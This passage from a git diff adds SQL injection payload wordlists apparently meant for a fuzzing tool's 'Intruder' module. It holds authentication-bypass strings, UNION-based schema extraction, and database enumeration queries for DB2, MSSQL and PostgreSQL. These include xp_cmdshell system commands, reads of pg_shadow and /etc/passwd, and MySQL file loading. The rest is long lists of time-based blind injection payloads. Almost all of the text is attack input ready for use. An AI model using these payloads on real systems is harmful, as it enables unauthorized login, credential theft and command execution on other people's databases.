and 1=1– +' and 'one'='one +' and 'one'='one– +' group by password having 1=1-- +' group by userid having 1=1-- +' group by username having 1=1-- + like '%' + or 0=0 -- + or 0=0 # + or 0=0 – +' or 0=0 # +' or 0=0 -- +' or 0=0 # +' or 0=0 – +" or 0=0 -- +" or 0=0 # +" or 0=0 – +%' or '0'='0 + or 1=1 + or 1=1-- + or 1=1/* + or 1=1# + or 1=1– +' or 1=1-- +' or '1'='1 +' or '1'='1'-- +' or '1'='1'/* +' or '1'='1'# +' or '1′='1 +' or 1=1 +' or 1=1 -- +' or 1=1 – +' or 1=1-- +' or 1=1;# +' or 1=1/* +' or 1=1# +' or 1=1– +') or '1'='1 +') or '1'='1-- +') or '1'='1'-- +') or '1'='1'/* +') or '1'='1'# +') or ('1'='1 +') or ('1'='1-- +') or ('1'='1'-- +') or ('1'='1'/* +') or ('1'='1'# +'or'1=1 +'or'1=1′ +" or "1"="1 +" or "1"="1"-- +" or "1"="1"/* +" or "1"="1"# +" or 1=1 +" or 1=1 -- +" or 1=1 – +" or 1=1-- +" or 1=1/* +" or 1=1# +" or 1=1– +") or "1"="1 +") or "1"="1"-- +") or "1"="1"/* +") or "1"="1"# +") or ("1"="1 +") or ("1"="1"-- +") or ("1"="1"/* +") or ("1"="1"# +) or '1′='1– +) or ('1′='1– +' or 1=1 LIMIT 1;# +'or 1=1 or ''=' +"or 1=1 or ""=" +' or 'a'='a +' or a=a-- +' or a=a– +') or ('a'='a +" or "a"="a +") or ("a"="a +') or ('a'='a and hi") or ("a"="a +' or 'one'='one +' or 'one'='one– +' or uid like '% +' or uname like '% +' or userid like '% +' or user like '% +' or username like '% +' or 'x'='x +') or ('x'='x +" or "x"="x +' OR 'x'='x'#; +'=' 'or' and '=' 'or' +' UNION ALL SELECT 1, @@version;# +' UNION ALL SELECT system_user(),user();# +' UNION select table_schema,table_name FROM information_Schema.tables;# +admin' and substring(password/text(),1,1)='7 +' and substring(password/text(),1,1)='7 +' or 1=1 limit 1 -- -+ +'="or' \ No newline at end of file diff --git a/Intruder/exploit/DB2/db2-enumeration.txt b/Intruder/exploit/DB2/db2-enumeration.txt new file mode 100644 index 0000000..316e58a --- /dev/null +++ b/Intruder/exploit/DB2/db2-enumeration.txt @@ -0,0 +1,12 @@ +select versionnumber, version_timestamp from sysibm.sysversions; +select user from sysibm.sysdummy1; +select session_user from sysibm.sysdummy1; +select system_user from sysibm.sysdummy1; +select current server from sysibm.sysdummy1; +select name from sysibm.systables; +select grantee from syscat.dbauth; +select * from syscat.tabauth; +select * from syscat.dbauth where grantee = current user; +select * from syscat.tabauth where grantee = current user; +select name, tbname, coltype from sysibm.syscolumns; +SELECT schemaname FROM syscat.schemata; diff --git a/Intruder/exploit/MSSQL/ms-sql-enumeration.txt b/Intruder/exploit/MSSQL/ms-sql-enumeration.txt new file mode 100644 index 0000000..3f21aba --- /dev/null +++ b/Intruder/exploit/MSSQL/ms-sql-enumeration.txt @@ -0,0 +1,11 @@ +select @@version +select @@servernamee +select @@microsoftversione +select * from master..sysserverse +select * from sysusers +exec master..xp_cmdshell 'ipconfig+/all' +exec master..xp_cmdshell 'net+view' +exec master..xp_cmdshell 'net+users' +exec master..xp_cmdshell 'ping+' +BACKUP database master to disks='\\\\backupdb.dat' +create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"-- diff --git a/Intruder/exploit/MySQL/mysql-injection-login-bypass.txt b/Intruder/exploit/MySQL/mysql-injection-login-bypass.txt new file mode 100644 index 0000000..10a3008 --- /dev/null +++ b/Intruder/exploit/MySQL/mysql-injection-login-bypass.txt @@ -0,0 +1,5 @@ +' OR 1=1-- +'OR '' = ' Allows authentication without a valid username. +'-- +' union select 1, '', '' 1-- +'OR 1=1-- diff --git a/Intruder/exploit/MySQL/mysql-read-local-files.txt b/Intruder/exploit/MySQL/mysql-read-local-files.txt new file mode 100644 index 0000000..ad33eab --- /dev/null +++ b/Intruder/exploit/MySQL/mysql-read-local-files.txt @@ -0,0 +1 @@ +create table myfile (input TEXT); load data infile '' into table myfile; select * from myfile; diff --git a/Intruder/exploit/PostgresSQL/postgres-enumeration.txt b/Intruder/exploit/PostgresSQL/postgres-enumeration.txt new file mode 100644 index 0000000..dba818a --- /dev/null +++ b/Intruder/exploit/PostgresSQL/postgres-enumeration.txt @@ -0,0 +1,19 @@ +select version(); +select current_database(); +select current_user; +select session_user; +select current_setting('log_connections'); +select current_setting('log_statement'); +select current_setting('port'); +select current_setting('password_encryption'); +select current_setting('krb_server_keyfile'); +select current_setting('virtual_host'); +select current_setting('port'); +select current_setting('config_file'); +select current_setting('hba_file'); +select current_setting('data_directory'); +select * from pg_shadow; +select * from pg_group; +create table myfile (input TEXT); +copy myfile from '/etc/passwd'; +select * from myfile;copy myfile to /tmp/test; diff --git a/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-INSERT.txt b/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-INSERT.txt new file mode 100644 index 0000000..d5d2f79 --- /dev/null +++ b/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-INSERT.txt @@ -0,0 +1,107 @@ +)%20waitfor%20delay%20'0:0:20'%20/* +)%20waitfor%20delay%20'0:0:20'%20-- +')%20waitfor%20delay%20'0:0:20'%20/* +')%20waitfor%20delay%20'0:0:20'%20-- +")%20waitfor%20delay%20'0:0:20'%20/* +")%20waitfor%20delay%20'0:0:20'%20-- +))%20waitfor%20delay%20'0:0:20'%20/* +))%20waitfor%20delay%20'0:0:20'%20-- +'))%20waitfor%20delay%20'0:0:20'%20/* +'))%20waitfor%20delay%20'0:0:20'%20-- +"))%20waitfor%20delay%20'0:0:20'%20/* +"))%20waitfor%20delay%20'0:0:20'%20-- +,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL)%20waifor%20delay%20'0:0:20'%20/* +',NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL)%20waifor%20delay%20'0:0:20'%20/* +'),NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* +"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- \ No newline at end of file diff --git a/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-WHERE.txt b/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-WHERE.txt new file mode 100644 index 0000000..9912f35 --- /dev/null +++ b/Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-WHERE.txt @@ -0,0 +1,40 @@ + waitfor delay '0:0:20' /* + waitfor delay '0:0:20' -- +' waitfor delay '0:0:20' /* +' waitfor delay '0:0:20' -- +" waitfor delay '0:0:20' /* +" waitfor delay '0:0:20' -- +) waitfor delay '0:0:20' /* +) waitfor delay '0:0:20' -- +)) waitfor delay '0:0:20' /* +)) waitfor delay '0:0:20' -- +))) waitfor delay '0:0:20' /* +))) waitfor delay '0:0:20' -- +)))) waitfor delay '0:0:20' /* +)))) waitfor delay '0:0:20' -- +))))) waitfor delay '0:0:20' -- +)))))) waitfor delay '0:0:20' -- +') waitfor delay '0:0:20' /* +') waitfor delay '0:0:20' -- +") waitfor delay '0:0:20' /* +") waitfor delay '0:0:20' -- +')) waitfor delay '0:0:20' /* +')) waitfor delay '0:0:20' -- +")) waitfor delay '0:0:20' /* +")) waitfor delay '0:0:20' -- +'))) waitfor delay '0:0:20' /* +'))) waitfor delay '0:0:20' -- +"))) waitfor delay '0:0:20' /* +"))) waitfor delay '0:0:20' -- +')))) waitfor delay '0:0:20' /* +')))) waitfor delay '0:0:20' -- +")))) waitfor delay '0:0:20' /* +")))) waitfor delay '0:0:20' -- +'))))) waitfor delay '0:0:20' /* +'))))) waitfor delay '0:0:20' -- +"))))) waitfor delay '0:0:20' /* +"))))) waitfor delay '0:0:20' -- +')))))) waitfor delay '0:0:20' /* +')))))) waitfor delay '0:0:20' -- +")))))) waitfor delay '0:0:20' /* +")))))) waitfor delay '0:0:20' -- \ No newline at end of file diff --git a/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-INSERT.txt b/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-INSERT.txt new file mode 100644 index 0000000..ee87bf0 --- /dev/null +++ b/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-INSERT.txt @@ -0,0 +1,90 @@ ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- ++if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 \ No newline at end of file diff --git a/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-ORDER_BY.txt b/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-ORDER_BY.txt new file mode 100644 index 0000000..54534e9 --- /dev/null +++ b/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-ORDER_BY.txt @@ -0,0 +1,18 @@ +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- +"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 diff --git a/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-WHERE.txt b/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-WHERE.txt new file mode 100644 index 0000000..7ddea3f --- /dev/null +++ b/Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-WHERE.txt @@ -0,0 +1,45 @@ + and 0=benchmark(3000000,MD5(1))%20/* + and 0=benchmark(3000000,MD5(1))%20-- + and 0=benchmark(3000000,MD5(1))%20%23 +' and 0=benchmark(3000000,MD5(1))%20/* +' and 0=benchmark(3000000,MD5(1))%20-- +' and 0=benchmark(3000000,MD5(1))%20%23 +" and 0=benchmark(3000000,MD5(1))%20/* +" and 0=benchmark(3000000,MD5(1))%20-- +" and 0=benchmark(3000000,MD5(1))%20%23 +) and 0=benchmark(3000000,MD5(1))%20/* +) and 0=benchmark(3000000,MD5(1))%20-- +) and 0=benchmark(3000000,MD5(1))%20%23 +)) and 0=benchmark(3000000,MD5(1))%20/* +)) and 0=benchmark(3000000,MD5(1))%20-- +)) and 0=benchmark(3000000,MD5(1))%20%23 +))) and 0=benchmark(3000000,MD5(1))%20/* +))) and 0=benchmark(3000000,MD5(1))%20-- +))) and 0=benchmark(3000000,MD5(1))%20%23 +)))) and 0=benchmark(3000000,MD5(1))%20/* +)))) and 0=benchmark(3000000,MD5(1))%20-- +)))) and 0=benchmark(3000000,MD5(1))%20%23 +') and 0=benchmark(3000000,MD5(1))%20/* +') and 0=benchmark(3000000,MD5(1))%20-- +') and 0=benchmark(3000000,MD5(1))%20%23 +") and 0=benchmark(3000000,MD5(1))%20/* +") and 0=benchmark(3000000,MD5(1))%20-- +") and 0=benchmark(3000000,MD5(1))%20%23 +')) and 0=benchmark(3000000,MD5(1))%20/* +')) and 0=benchmark(3000000,MD5(1))%20-- +')) and 0=benchmark(3000000,MD5(1))%20%23 +")) and 0=benchmark(3000000,MD5(1))%20/* +")) and 0=benchmark(3000000,MD5(1))%20-- +")) and 0=benchmark(3000000,MD5(1))%20%23 +'))) and 0=benchmark(3000000,MD5(1))%20/* +'))) and 0=benchmark(3000000,MD5(1))%20-- +'))) and 0=benchmark(3000000,MD5(1))%20%23 